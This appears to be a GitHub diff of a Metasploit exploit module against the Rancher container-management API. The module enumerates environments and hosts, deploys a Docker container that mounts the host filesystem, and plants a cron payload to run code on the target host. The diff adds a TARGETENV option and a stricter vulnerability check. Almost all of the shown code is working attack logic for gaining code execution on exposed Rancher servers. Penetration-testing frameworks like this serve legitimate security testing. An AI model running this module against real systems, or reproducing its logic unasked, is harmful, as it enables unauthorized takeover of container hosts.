@@ -23,6 +23,9 @@ def initialize(info = {})
23
23
24
24
The Docker image should exist on the target system or be a valid image
25
25
from hub.docker.com.
26
+
27
+ Use `check` with verbose mode to get a list of exploitable Rancher
28
+ Hosts managed by the target system.
26
29
) ,
27
30
'Author' => 'Martin Pizala' , # started with dcos_marathon module from Erik Daguerre
28
31
'License' => MSF_LICENSE ,
@@ -39,22 +42,27 @@ def initialize(info = {})
39
42
register_options (
40
43
[
41
44
Opt ::RPORT ( 8080 ) ,
42
- OptString . new ( 'TARGETURI ' , [ true , 'Path to Rancher Environment' , '/v1/projects/ 1a5' ] ) ,
45
+ OptString . new ( 'TARGETENV ' , [ true , 'Target Rancher Environment' , '1a5' ] ) ,
43
46
OptString . new ( 'TARGETHOST' , [ true , 'Target Rancher Host' , '1h1' ] ) ,
44
47
OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'alpine:latest' ] ) ,
45
- OptInt . new ( 'WAIT_TIMEOUT' , [ true , 'Time in seconds to wait for the docker container to deploy' , 60 ] ) ,
46
48
OptString . new ( 'CONTAINER_ID' , [ false , 'container id you would like' ] ) ,
47
49
OptString . new ( 'HttpUsername' , [ false , 'Rancher API Access Key (Username)' ] ) ,
48
50
OptString . new ( 'HttpPassword' , [ false , 'Rancher API Secret Key (Password)' ] )
49
51
]
50
52
)
53
+ register_advanced_options (
54
+ [
55
+ OptString . new ( 'TARGETURI' , [ true , 'Rancher API Path' , '/v1/projects' ] ) ,
56
+ OptInt . new ( 'WAIT_TIMEOUT' , [ true , 'Time in seconds to wait for the docker container to deploy' , 60 ] )
57
+ ]
58
+ )
51
59
end
52
60
53
61
def del_container ( rancher_container_id , container_id )
54
62
res = send_request_raw (
55
63
'method' => 'DELETE' ,
56
64
'headers' => { 'Accept' => 'application/json' } ,
57
- 'uri' => normalize_uri ( target_uri . path , 'containers' , rancher_container_id )
65
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' , rancher_container_id )
58
66
)
59
67
return vprint_good ( 'The docker container has been removed.' ) if res && res . code == 200
60
68
@@ -99,7 +107,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
99
107
def check
100
108
res = send_request_raw (
101
109
'method' => 'GET' ,
102
- 'uri' => normalize_uri ( '/v1/projects' ) ,
110
+ 'uri' => normalize_uri ( target_uri . path ) ,
103
111
'headers' => { 'Accept' => 'application/json' }
104
112
)
105
113
@@ -114,30 +122,53 @@ def check
114
122
end
115
123
116
124
if res . code == 200 and res . headers . to_json . include? 'X-Rancher-Version'
117
- # get all rancher environments
118
- projects = JSON . parse ( res . body ) [ 'data' ] . map { |data | data [ 'id' ] }
119
- # get all hosts from environments
120
125
target_found = false
121
- projects . each do |project |
126
+ target_selected = false
127
+
128
+ environments = JSON . parse ( res . body ) [ 'data' ]
129
+ environments . each do |e |
122
130
res = send_request_raw (
123
131
'method' => 'GET' ,
124
- 'uri' => normalize_uri ( '/v1/projects' , project , 'hosts' ) ,
132
+ 'uri' => normalize_uri ( target_uri . path , e [ 'id' ] , 'hosts' ) ,
125
133
'headers' => { 'Accept' => 'application/json' }
126
134
)
127
- hosts = JSON . parse ( res . body ) [ 'data' ] . map { |data | data [ 'id' ] }
128
- hosts . each do |host |
135
+
136
+ hosts = JSON . parse ( res . body ) [ 'data' ]
137
+ hosts . each do |h |
129
138
target_found = true
130
- print_good ( "TARGETHOST #{ host } found on TARGETURI /v1/projects/#{ project } " )
139
+ result = "Rancher Host \" #{ h [ 'hostname' ] } \" (TARGETHOST #{ h [ 'id' ] } ) on "
140
+ result << "Environment \" #{ e [ 'name' ] } \" (TARGETENV #{ e [ 'id' ] } ) found"
141
+
142
+ # flag results when this host is targeted via options
143
+ if datastore [ 'TARGETENV' ] == e [ 'id' ] && datastore [ 'TARGETHOST' ] == h [ 'id' ]
144
+ target_selected = true
145
+ vprint_good ( result + ' %red<-- targeted%clr' )
146
+ else
147
+ vprint_good ( result )
148
+ end
149
+ end
150
+ end
151
+
152
+ if target_found
153
+ return Exploit ::CheckCode ::Vulnerable if target_selected
154
+
155
+ print_bad ( "Your TARGETENV \" #{ datastore [ 'TARGETENV' ] } \" or/and TARGETHOST \" #{ datastore [ 'TARGETHOST' ] } \" is not available" )
156
+ if datastore [ 'VERBOSE' ] == false
157
+ print_bad ( 'Try verbose mode to know what happened.' )
131
158
end
159
+ vprint_bad ( 'Choose a TARGETHOST and TARGETENV from the results above' )
160
+ return Exploit ::CheckCode ::Appears
161
+ else
162
+ print_bad ( 'No TARGETHOST available' )
163
+ return Exploit ::CheckCode ::Detected
132
164
end
133
- return Exploit ::CheckCode ::Appears if target_found == true
134
165
end
135
166
136
167
Exploit ::CheckCode ::Safe
137
168
end
138
169
139
170
def exploit
140
- unless check == Exploit ::CheckCode ::Appears
171
+ unless check == Exploit ::CheckCode ::Vulnerable
141
172
fail_with ( Failure ::Unknown , 'Failed to connect to the target' )
142
173
end
143
174
@@ -150,7 +181,7 @@ def exploit
150
181
# deploy docker container
151
182
res = send_request_raw (
152
183
'method' => 'POST' ,
153
- 'uri' => normalize_uri ( target_uri . path , 'containers' ) ,
184
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' ) ,
154
185
'headers' => { 'Accept' => 'application/json' , 'Content-Type' => 'application/json' } ,
155
186
'data' => make_container ( mnt_path , cron_path , payload_path , container_id ) . to_json
156
187
)
@@ -174,7 +205,7 @@ def exploit
174
205
175
206
res = send_request_raw (
176
207
'method' => 'GET' ,
177
- 'uri' => normalize_uri ( target_uri . path , 'containers' , '?name=' + container_id ) ,
208
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'TARGETENV' ] , 'containers' , '?name=' + container_id ) ,
178
209
'headers' => { 'Accept' => 'application/json' }
179
210
)
180
211
next unless res . code == 200 and res . body . include? 'stopped'
0 commit comments